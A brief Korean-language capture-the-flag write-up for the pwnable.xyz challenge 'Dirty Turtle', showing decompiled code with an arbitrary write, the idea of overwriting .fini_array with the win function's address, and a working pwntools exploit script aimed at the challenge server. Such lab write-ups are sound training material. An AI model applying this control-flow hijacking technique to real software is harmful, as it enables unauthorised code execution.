[pwnable.xyz]Dirty Turtle
원하는 주소에 원하는 값을 쓸 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
char *s; // [rsp+0h] [rbp-10h]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
setup();
puts("Dirty Turtle Off-RoadS");
printf("Addr: ", argv);
v3 = get_val();
printf("Value: ", v3);
v6 = get_val();
if ( v6 )
*s = v6;
else
puts(s);
return 0;
}
.dtors 영역인 .fini_array을 win주소로 덮어주면 된다. 그러면 main함수 끝나고 win함수 호출된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30033)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
sa(':',str(0x0000000000600bc0)) # .fini_array
sa(':',str(e.symbols['win']))
p.interactive()